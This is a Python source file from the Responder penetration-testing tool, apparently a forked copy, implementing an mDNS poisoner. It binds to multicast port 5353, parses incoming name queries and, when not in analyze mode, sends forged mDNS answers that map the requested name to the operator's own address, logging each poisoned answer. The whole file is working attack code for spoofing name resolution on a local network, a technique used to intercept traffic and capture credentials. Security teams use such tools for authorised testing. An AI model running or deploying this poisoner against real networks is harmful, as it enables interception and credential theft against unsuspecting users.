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102 lines
3.1 KiB
Python
102 lines
3.1 KiB
Python
#!/usr/bin/env python
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# This file is part of Responder
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# Original work by Laurent Gaffie - Trustwave Holdings
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#
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# This program is free software: you can redistribute it and/or modify
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# it under the terms of the GNU General Public License as published by
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# the Free Software Foundation, either version 3 of the License, or
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# (at your option) any later version.
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#
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# This program is distributed in the hope that it will be useful,
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# but WITHOUT ANY WARRANTY; without even the implied warranty of
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# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
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# GNU General Public License for more details.
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#
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# You should have received a copy of the GNU General Public License
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# along with this program. If not, see <http://www.gnu.org/licenses/>.
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import struct
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import core.responder.settings as settings
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import socket
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import threading
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from SocketServer import BaseRequestHandler, ThreadingMixIn, UDPServer
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from core.responder.packets import MDNS_Ans
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from core.responder.utils import *
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def start():
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try:
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server = ThreadingUDPMDNSServer(('', 5353), MDNSServer)
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t = threading.Thread(name='MDNS', target=server.serve_forever)
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t.setDaemon(True)
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t.start()
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except Exception as e:
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print "Error starting MDNS server on port 5353: {}".format(e)
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class ThreadingUDPMDNSServer(ThreadingMixIn, UDPServer):
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allow_reuse_address = 1
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def server_bind(self):
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MADDR = "224.0.0.251"
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self.socket.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR, 1)
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self.socket.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255)
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Join = self.socket.setsockopt(socket.IPPROTO_IP,socket.IP_ADD_MEMBERSHIP, socket.inet_aton(MADDR) + settings.Config.IP_aton)
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if OsInterfaceIsSupported():
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try:
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self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Bind_To+'\0')
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except:
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pass
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UDPServer.server_bind(self)
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def Parse_MDNS_Name(data):
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try:
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data = data[12:]
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NameLen = struct.unpack('>B',data[0])[0]
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Name = data[1:1+NameLen]
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NameLen_ = struct.unpack('>B',data[1+NameLen])[0]
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Name_ = data[1+NameLen:1+NameLen+NameLen_+1]
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return Name+'.'+Name_
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except IndexError:
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return None
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def Poisoned_MDNS_Name(data):
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data = data[12:]
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Name = data[:len(data)-5]
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return Name
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class MDNSServer(BaseRequestHandler):
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def handle(self):
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MADDR = "224.0.0.251"
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MPORT = 5353
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data, soc = self.request
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Request_Name = Parse_MDNS_Name(data)
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# Break out if we don't want to respond to this host
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if (not Request_Name) or (RespondToThisHost(self.client_address[0], Request_Name) is not True):
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return None
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try:
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# Analyze Mode
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if settings.Config.AnalyzeMode:
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if Parse_IPV6_Addr(data):
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settings.Config.AnalyzeLogger.warning('{} [Analyze mode: MDNS] Request for {}, ignoring'.format(self.client_address[0], Request_Name))
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# Poisoning Mode
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else:
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if Parse_IPV6_Addr(data):
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Poisoned_Name = Poisoned_MDNS_Name(data)
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Buffer = MDNS_Ans(AnswerName = Poisoned_Name, IP=socket.inet_aton(settings.Config.Bind_To))
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Buffer.calculate()
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soc.sendto(str(Buffer), (MADDR, MPORT))
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settings.Config.PoisonersLogger.warning('{} [MDNS] Poisoned answer for name {}'.format(self.client_address[0], Request_Name))
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except Exception:
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raise |